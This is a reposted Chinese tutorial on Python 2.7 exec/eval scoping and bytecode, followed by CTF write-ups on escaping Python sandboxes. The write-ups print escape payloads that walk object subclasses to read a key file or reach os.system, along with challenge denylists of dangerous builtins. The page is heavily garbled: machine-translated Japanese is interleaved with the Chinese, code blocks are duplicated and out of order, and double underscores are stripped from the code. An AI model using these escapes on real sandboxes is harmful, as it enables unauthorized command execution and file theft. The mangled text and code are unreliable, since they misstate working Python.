ホームページ  >  記事  >  バックエンド開発  >  Python サンドボックス エスケープの問題の分析

Python サンドボックス エスケープの問題の分析

高洛峰
高洛峰オリジナル
2017-03-15 13:14:123006ブラウズ

[TOC]
(Python 2.7 に基づく)
Python サンドボックス エスケープの問題を解決する前に、Python の構文の詳細を理解する必要があります。 eval関数 eval函数的使用方法,就可以跳过第一和第二部分,直接看 3x00 吧。

0x00 表达式的执行

用执行某个表达式的内容,可以使用 execeval 来进行。

0x01 exec

exec_stmt:    "exec" expression ["in" expression ["," expression]]

其中,["in" expression ["," expression]]是可选表达式。

1,对代码/字符串进行操作

exec "x = 1+1"
print x
#result:
#2
exec "x = 'a' + '42'"
print x
#result:
#a42

也可以执行多行代码,用三个引号括起来就可以:

a = 0
exec"""for _ in range(input()):
        a += 1
"""
print a

2,文件操作

execfile

一方面可以使用 execfile,它的作用是执行这个文件的内容

#Desktop/pytest.txt
print 'Gou Li Guo Jia Sheng Si Yi'
#Desktop/pytest.py
execfile(r'C:\Users\Think\Desktop\pytest.txt')

pytest.py的输出结果为:

Gou Li Guo Jia Sheng Si Yi

execfile执行了pytest.txt里的内容,注意是执行而非读取,如果pytest.txt中的内容是'Gou Li Guo Jia Sheng Si Yi',那么将不会得到任何输出。
当然,执行一个 .py 文件也是可以的。而执行 .txt 文件的要求是,txt 文件中的内容是 ASCII 。最好还是执行一个 .py 文件而非 txt 文件。

这种执行其实是将 execfile 所指向的文件的内容直接 copy 过去。
例如:

#C:/Users/Think/Desktop/Mo.py
#coding:utf-8
a = 2
print '稻花香里说丰年,听取蛤声一片'
#C:/Users/Think/Desktop/pytest.py
a = 3
execfile(r'C:\Users\Think\Desktop\Mo.py')
print a

此时,pytest 的结果为:

稻花香里说丰年,听取蛤声一片
2

其实就是完全地执行一遍文件里的内容……而不是当做函数调用来执行。

直接使用 exec 进行操作

直接使用 exec ,也是执行文件的内容,但是可以使用 in 表达式来使用 Global 变量域。

#C:\Users\Think\Desktop\test1.txt
print poetry
#pytest.py
result={'poetry':'苟利国家生死以'}
exec open(r'C:\Users\Think\Desktop\test1.txt') in result

3,tuple 的使用

b = 42
tup1 = (123,456,111)
exec "b = tup1[2]"
print b

输出结果为

111

exec 的 globals / locals 参数的使用方法

exec支持两个可选参数,不支持关键字指定参数。
Python 采用的是静态作用域(词法作用域)规则,类似于 C++,在该函数内该变量可用,在函数外不可用。
在 Pascal 语言中,采用的是动态作用域,也就是说,一旦函数被执行,该变量就会存在。例如,在函数 g 当中套了个函数 f,程序执行到f时,会在f中寻找表达式中的变量,如果找不到,就往外层找,此时g中若存在这个变量,则使用该变量,若不存在,继续向外逐层查找。
需要注意的是, exec是语法声明(statement),而非函数(function),而execfile 是函数
原因如下:
exec中直接打印外部变量:

b = 42
tup1 = (123,456,111)
exec "print tup1[1]"
#结果为 456

在函数中打印外部变量:

b = 42
tup1 = (123,456,111)
def pr():
    print tup[1]

pr()

#结果:
#NameError: global name 'tup' is not defined

LEGB 规则

exec 中的 globals 参数

exec_stmt:    "exec" expression ["in" expression ["," expression]]

globalsdict 对象,它指定了 exec 中需要的全局变量。

  • globlas等价于globals()

  • locals等价于globals参数的值

1,globals

#coding:utf-8
k = {'b':42}
exec ("a = b + 1",k)
print k['a'],k['b']
#结果:
#43 42

在段代码中,exec中的值是locals,它来源于指定的k,即globals.
并且,globals 取于全局变量,作用于全局变量

2,locals

g = {'b':100}
exec("""age = b + a
print age
     """,g,{'a':1})
#结果:
#101

比较:

g = {'b':100,'a':2}
exec("""age = b + a
print age
     """,g,{'a':1})

#结果:
#101

可以看到,相对于exec来说,其内部具有三个变量,即 age,b,a
在制定之后,b 来自 g (global),而 a 来自自定的 local 变量。
由此可见,local 取于局部变量,作用于局部变量
为了验证这一结论,对稍加修改:

g = {'b':100}
exec("""age = b + a
print age
     """,g,{'a':1})

print g['a']
#结果:
#101
# print g['a']
#KeyError: 'a'

可以看到,a并没有作用于字典 g(全局的),而上面第一小节提到的globals中,键值a已经填入了全局的字典g.

exec 使用结论

可以做出以下结论
我们将exec之后包括的内容分为三个部分:p1、p2、p3

exec ("""p1""",p2,p3)
  1. 第一部分 p1 の使用方法をすでに知っている場合は、この部分をスキップできます。 Chapter 1 と 2 については、3x00 をご覧ください。

    0x00 式の実行 🎜

    🎜 は式のコンテンツを実行するために使用されます場合は、exec または eval を使用してこれを行うことができます。 🎜

    0x01 exec

    #use `exec` source code
    import dis
    def exec_diss():
        exec "x=3"
    
    dis.dis(exec_diss)
    🎜 ここで、["in"expression [","expression]] はオプションの式です。 🎜

    1、コードを操作/文字列🎜

    # use `exec` disassembly
     4           0 LOAD_CONST               1 ('x=3')
                  3 LOAD_CONST               0 (None)
                  6 DUP_TOP             
                  7 EXEC_STMT           
                  8 LOAD_CONST               0 (None)
                 11 RETURN_VALUE
    #not use `exec` scource code
    import dis
    def exec_diss():
        x=3
    
    dis.dis(exec_diss)
    🎜も複数実行可能コード行は 3 つの引用符で囲むことができます: 🎜
    #not use exec disassembly
     3           0 LOAD_CONST               1 (3)
                  3 STORE_FAST               0 (x)
                  6 LOAD_CONST               0 (None)
                  9 RETURN_VALUE

    2, ファイル操作

    execfile🎜

    🎜一方で、このファイルの内容を実行するために使用される execfile を使用できます🎜
    # use `exec` disassembly
    6 DUP_TOP             #复制栈顶指针
    7 EXEC_STMT     #执行 `exec TOS2,TOS1,TOS`,不存在的填充 `none`
    eval(expression[, globals[, locals]])
    🎜pytest.py code> 出力結果は次のとおりです: 🎜<pre class="brush:php;toolbar:false">print eval(&quot;1+1&quot;) #result: #2</pre>🎜<code>execfilepytest.txt のコンテンツを実行しました。 ではなく 実行 であることに注意してください。 readstrong> の場合、pytest.txt の内容が 'Gou Li Guo Jia Sheng Si Yi' の場合、出力は取得されません。 🎜もちろん、.pyファイルを実行することも可能です。 .txt ファイルを実行するための要件は、txt ファイルの内容が ASCII であることです。 txt ファイルではなく .py ファイルを実行することをお勧めします。 🎜🎜この種の実行では、実際には execfile で指定されたファイルのコンテンツが直接 過去をコピー🎜します。 🎜例: 🎜
    g = {'a':1}
    print eval("a+1",g)
    
    #result:
    #2
    k = {'b':42}
    print eval ("b+c",k,{'c':2})
    #result:
    #44
    🎜 このとき、pytest の結果は次のようになります: 🎜
    #use_eval
    import dis
    def eval_dis():
        eval ("x = 3")
    
    dis.dis(eval_dis)
    🎜 実際には、関数呼び出しとして実行するのではなく、ファイルの内容を完全に実行します。 🎜

    操作するには exec を直接使用します

    🎜 exec を直接使用します。これは実行可能ファイルのコンテンツでもありますが、in 式を使用してグローバル
    変数 🎜 ドメイン。 🎜
    #use_eval_disassembly
     3           0 LOAD_GLOBAL              0 (eval)
                  3 LOAD_CONST               1 ('x = 3')
                  6 CALL_FUNCTION            1
                  9 POP_TOP             
                 10 LOAD_CONST               0 (None)
                 13 RETURN_VALUE
    #not_use_eval
    import dis
    def no_eval_dis():
        x = 3
    
    dis.dis(no_eval_dis)

    3、タプル

    #not_use_eval_disassembly
     3           0 LOAD_CONST               1 (3)
                  3 STORE_FAST               0 (x)
                  6 LOAD_CONST               0 (None)
                  9 RETURN_VALUE
    の使用🎜出力結果は🎜
    exec ("print 1+1")
    #result:
    #2

    execのグローバル/ローカルパラメータの使用方法

    です🎜execはサポートしています2 つの選択パラメータはサポートされていません。 🎜Python は、この関数で C++ と同様の
    静的 🎜scope (字句スコープ) ルールを使用します この変数は利用可能です関数の内部ではありますが、関数の外部ではありません。 🎜 Pascal 言語では動的スコープが使用されます。つまり、関数が実行されると変数が存在します。たとえば、関数 f は関数 g にネストされており、プログラムが f まで実行されると、関数は f 式で変数を検索します。見つからない場合は、変数が <code>g に存在する場合は、それが使用されます。層ごとに外側に向かって検索を続けます。 🎜exec は関数 (関数) ではなく文法ステートメント (ステートメント) であり、execfile は関数 であることに注意してください。 🎜その理由は次のとおりです: 🎜 exec で外部変数を直接出力します: 🎜

    🎜

    print exec("1+1")
    🎜🎜🎜 関数で外部変数を出力します: 🎜
    eval ("print 1+1")
    #result:
    #SyntaxError: invalid syntax
    🎜🎜

    LEGBルール

    exec

    import dis
    def exec_diss():
        exec "x=3"
        return 0
    
    dis.dis(exec_diss)
    🎜globalsのglobalsパラメータはdictです
    オブジェクト 🎜。exec で必要なグローバル変数を指定します。 🎜
    • 🎜globlasglobals() と同等です🎜
    • 🎜 locals は、execのコードセグメント内の globals パラメータ🎜
    🎜1、globals🎜
    3           0 LOAD_CONST               1 ('x=3')
                  3 LOAD_CONST               0 (None)
                  6 DUP_TOP             
                  7 EXEC_STMT           
    
      4           8 LOAD_CONST               2 (0)
                 11 RETURN_VALUE
    🎜の値と同等です。 > 値は locals で、指定された k、つまり globals から取得されます。🎜 そして、globals は、グローバル変数であり、 変数をグローバルに動作させます。 🎜🎜2、locals🎜
    import dis
    def eval_diss():
        eval ("3")
        return 0
    
    dis.dis(eval_diss)
    🎜比較: 🎜
      3           0 LOAD_GLOBAL              0 (eval)
                  3 LOAD_CONST               1 ('3')
                  6 CALL_FUNCTION            1
                  9 POP_TOP             
    
      4          10 LOAD_CONST               2 (0)
                 13 RETURN_VALUE
    🎜 exec と比較すると、age、b、a という 3 つの内部変数があることがわかります。🎜定式化後、b は g (グローバル) から来ます。 )、a はカスタム ローカル変数から取得されます。 🎜ローカル変数からローカルが取得され、 ローカル変数に作用することがわかります。 🎜この結論を検証するには、少し変更します: 🎜
    import dis
    def no():
        a = 1+1
    
    dis.dis(no)
    🎜 a が辞書 g (グローバル) に作用しないことがわかります。また、上記の最初のセクションも同様です。前述の globals、キー値 a はグローバル ディクショナリ g に入力されています。🎜

    exec 使用法の結論

    🎜次の結論が得られます: 🎜exec の後に含まれるコンテンツを 3 つの部分に分割します: p1、p2、p3🎜
      3           0 LOAD_CONST               2 (2)
                  3 STORE_FAST               0 (a)
                  6 LOAD_CONST               0 (None)
                  9 RETURN_VALUE
    1. 🎜最初の部分 p1、コンテンツは実行されるコンテンツです。🎜
    2. 第二部分p2,其中的内容来自全局变量,会在上一个变量作用域当中寻找对应的值,并将其传递给表达式,如果不存在p3p1中的结果会传回全局变量;

    3. 第三部分p3,其中的内容是局部的,将用户在其中自设的局部值传递给p1,并且在局部中生效,如果在外部引用此处用到的值将会报错。

    exec 反汇编

    #use `exec` source code
    import dis
    def exec_diss():
        exec "x=3"
    
    dis.dis(exec_diss)
    # use `exec` disassembly
     4           0 LOAD_CONST               1 ('x=3')
                  3 LOAD_CONST               0 (None)
                  6 DUP_TOP             
                  7 EXEC_STMT           
                  8 LOAD_CONST               0 (None)
                 11 RETURN_VALUE
    #not use `exec` scource code
    import dis
    def exec_diss():
        x=3
    
    dis.dis(exec_diss)
    #not use exec disassembly
     3           0 LOAD_CONST               1 (3)
                  3 STORE_FAST               0 (x)
                  6 LOAD_CONST               0 (None)
                  9 RETURN_VALUE

    指令解释在这里:http://www.php.cn/
    简要说明下,TOStop-of-stack,就是栈顶。
    LOAD_CONST是入栈,RETURN_VALUE 是还原esp
    其中两者的不同之处在于:

    # use `exec` disassembly
    6 DUP_TOP             #复制栈顶指针
    7 EXEC_STMT     #执行 `exec TOS2,TOS1,TOS`,不存在的填充 `none`

    也就是说,def函数是将变量入栈,然后调用时就出栈返回;而使用了exec之后,除了正常的入栈流程外,程序还会将栈顶指针复制一遍,然后开始执行exec的内容。

    0x02 eval

    eval用以动态执行其后的代码,并返回执行后得到的值。

    eval(expression[, globals[, locals]])

    eval也有两个可选参数,即 globalslocals
    使用如下:

    print eval("1+1")
    #result:
    #2

    eval 的 globals / locals 参数的使用方法

    1,globals
    类似于 exec:

    g = {'a':1}
    print eval("a+1",g)
    
    #result:
    #2

    2,locals

    k = {'b':42}
    print eval ("b+c",k,{'c':2})
    #result:
    #44

    eval反汇编

    #use_eval
    import dis
    def eval_dis():
        eval ("x = 3")
    
    dis.dis(eval_dis)
    #use_eval_disassembly
     3           0 LOAD_GLOBAL              0 (eval)
                  3 LOAD_CONST               1 ('x = 3')
                  6 CALL_FUNCTION            1
                  9 POP_TOP             
                 10 LOAD_CONST               0 (None)
                 13 RETURN_VALUE

    比较:

    #not_use_eval
    import dis
    def no_eval_dis():
        x = 3
    
    dis.dis(no_eval_dis)
    #not_use_eval_disassembly
     3           0 LOAD_CONST               1 (3)
                  3 STORE_FAST               0 (x)
                  6 LOAD_CONST               0 (None)
                  9 RETURN_VALUE

    同样是建栈之后执行。

    1x00 exec 和 eval 的区别

    exec无返回值:

    exec ("print 1+1")
    #result:
    #2

    如果改成

    print exec("1+1")

    这就会因为没有返回值(不存在该变量而报错)。
    eval 是有返回值的:

    eval ("print 1+1")
    #result:
    #SyntaxError: invalid syntax

    如果想要打印,则必须在 eval之前使用print
    但是奇怪的是,为什么 exec 反汇编出的内容当中,也会有一个RETURN_VALUE 呢?

    1x01确定RETURN_VALUE来源

    为了确定这个RETURN_VALUE究竟是受到哪一部分的影响,可以改动一下之前的代码,

    import dis
    def exec_diss():
        exec "x=3"
        return 0
    
    dis.dis(exec_diss)
    3           0 LOAD_CONST               1 ('x=3')
                  3 LOAD_CONST               0 (None)
                  6 DUP_TOP             
                  7 EXEC_STMT           
    
      4           8 LOAD_CONST               2 (0)
                 11 RETURN_VALUE

    对比eval的:

    import dis
    def eval_diss():
        eval ("3")
        return 0
    
    dis.dis(eval_diss)
      3           0 LOAD_GLOBAL              0 (eval)
                  3 LOAD_CONST               1 ('3')
                  6 CALL_FUNCTION            1
                  9 POP_TOP             
    
      4          10 LOAD_CONST               2 (0)
                 13 RETURN_VALUE

    对比 evalexec之后,会发现exec使用的是DUP_TOP(),而eval使用的是POP_TOP,前者是复制 TOS,后者是推出TOS
    在 C++ 反汇编当中,会发现对函数调用的最后会有 POP ebp,这是函数执行完之后的特征。在 Python 中,eval就是一种函数,exec是表达式。这也解释了之前说的eval有返回值而exec无返回值的原因。
    而最后的 RETURN_VALUE,很明显可以看出并非evalexec的影响,而是 Python 中每一个程序执行完之后的正常返回(如同 C++ 中的 return 0)。
    可以写段不包含这两者的代码来验证:

    import dis
    def no():
        a = 1+1
    
    dis.dis(no)
      3           0 LOAD_CONST               2 (2)
                  3 STORE_FAST               0 (a)
                  6 LOAD_CONST               0 (None)
                  9 RETURN_VALUE

    所以,RETURN_VALUE是每个程序正常运行时就有的。

    2x00 eval 的危险性

    2x01 先期知识

    在 Python 当中, import可以将一个 Python 内置模块导入,import可以接受字符串作为参数。
    调用 os.system(),就可以执行系统命令。在 Windows下,可以这么写:

    >>> import('os').system('dir')

    或者:

    >>> import os
    >>> os.system('dir')

    也可以达到这个目的。
    这两种方法会使得系统执行dir,即文件列出命令,列出文件后,读取其中某个文件的内容,可以:

    with open('example.txt') as f:
        s = f.read().replace('\n', '')
    
    print s

    如果有一个功能,设计为执行用户所输入的内容,如

    print eval("input()")

    此时用户输入1+1,那么会得到返回值 2。若前述的

    os.system('dir')

    则会直接列出用户目录。
    但是,从之前学过的可以看到,如果为eval指定一个空的全局变量,那么eval就无法从外部得到 os.system模块,这会导致报错。
    然而,可以自己导入这个模块嘛。

    import('os').system('dir')

    这样就可以继续显示文件了。
    如果要避免这一招,可以限定使用指定的内建函数builtins,这将会使得在第一个表达式当中只能采用该模块中的内建函数名称才是合法的,包括:

    >>> dir('builtins')
    ['add', 'class', 'contains', 'delattr', 'doc', 'eq', 'format', 'ge', 'getattribute', 'getitem', 'getnewargs', 'getslice', 'gt', 'hash', 'init', 'le', 'len', 'lt', 'mod', 'mul', 'ne', 'new', 'reduce', 'reduce_ex', 'repr', 'rmod', 'rmul', 'setattr', 'sizeof', 'str', 'subclasshook', '_formatter_field_name_split', '_formatter_parser', 'capitalize', 'center', 'count', 'decode', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'index', 'isalnum', 'isalpha', 'isdigit', 'islower', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'partition', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill']

    这样,就可以写成:

    eval("input()",{'builtins':{}})

    就可以限制其只能使用内置的函数。
    同时也可以将内置模块置为None,如:

    env = {}
    env["locals"]   = None
    env["globals"]  = None
    eval("input()", env)

    但是这种情况下builtionsbuitin的引用依然有效。

    s = """
    (lambda fc=(
        lambda n: [
            c for c in 
                ().class.bases[0].subclasses() 
                if c.name == n
            ][0]
        ):
        fc("function")(
            fc("code")(
                0,0,0,0,"KABOOM",(),(),(),"","",0,""
            ),{}
        )()
    )()
    """
    eval(s, {'builtins':{}})

    (来自:http://www.php.cn/)
    为了创建一个<a href="http://www.php.cn/wiki/60.html" target="_blank">object</a>,要通过

    ().class.bases[0]

    bases类当中的第一个 元素就是元组(tuple),而tuple就是一个object.

    lambda这一段主要是构造出一个函数,这个函数要跑完 subclasses来寻找一个object
    这是一种情形。总的来说,就是跑一个通过object假的bytecodes.

    从上述情况来看,eval是不安全的。

    3x00 Python 沙箱逃逸

    3x01 第一题

    这是一道 CTF 题目,只给了这个:

    def make_secure():
        UNSAFE = ['open',
                  'file',
                  'execfile',
                  'compile',
                  'reload',
                  'import',
                  'eval',
                  'input']
        for func in UNSAFE:
            del builtins.dict[func]
    
    from re import findall
    # Remove dangerous builtins
    make_secure()
    print 'Go Ahead, Expoit me >;D'
    
    while True:
        try:
            # Read user input until the first whitespace character
            inp = findall('\S+', raw_input())[0]
            a = None
            # Set a to the result from executing the user input
            exec 'a=' + inp
            print 'Return Value:', a
        except Exception, e:
        print 'Exception:', e

    make_secure这个模块很好理解,看看下边的:

    from re import findall

    这是 Python 正则表达式的模块。而re.findall可以寻找指定的字符串。
    把这一部分单独抽离出来尝试一下:

    from re import findall
    
    inp = findall('\S+',raw_input())[0]
    a = None
    exec 'a = ' +inp
    print 'Return Value:',a

    运行后输入 1+1,返回结果为2.
    构造
    之前已经说过可以利用

    ().class.bases[0].subclasses()

    在该题中,主办方搞了个在服务器上的文件,里边有 key,而[40] 是文件,直接就可以了。

    ().class.bases[0].subclasses()[40]("./key").read()

    第二题

    #!/usr/bin/env python 
    from future import print_function
     
    print("Welcome to my Python sandbox! Enter commands below!")
     
    banned = [  
        "import",
        "exec",
        "eval",
        "pickle",
        "os",
        "subprocess",
        "kevin sucks",
        "input",
        "banned",
        "cry sum more",
        "sys"
    ]
     
    targets = builtins.dict.keys()  
    targets.remove('raw_input')  
    targets.remove('print')  
    for x in targets:  
        del builtins.dict[x]
     
    while 1:  
        print(">>>", end=' ')
        data = raw_input()
     
        for no in banned:
            if no.lower() in data.lower():
                print("No bueno")
                break
        else: # this means nobreak
            exec data
    [x for x in [].class.base.subclasses() if x.name == 'catch_warnings'][0].init.func_globals['linecache'].dict['o'+'s'].dict['sy'+'stem']('echo Hello SandBox')

    4x00 blue-lotus MISC - pyjail Writeup

    给了这个:

    #!/usr/bin/env python
    # coding: utf-8
    
    def del_unsafe():
        UNSAFE_BUILTINS = ['open',
        'file',
        'execfile',
        'compile',
        'reload',
        'import',
        'eval',
        'input'] ## block objet?
        for func in UNSAFE_BUILTINS:
            del builtins.dict[func]
    
    from re import findall
    del_unsafe()
    
    print 'Give me your command!'
    while True:
        try:
            inp = findall('\S+', raw_input())[0]
            print "inp=", inp
            a = None
            exec 'a=' + inp
            print 'Return Value:', a
        except Exception, e:
            print 'Exception:', e

    比较一下和上边的第一题有什么不同,答案是……并没有什么不同……

以上がPython サンドボックス エスケープの問題の分析の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。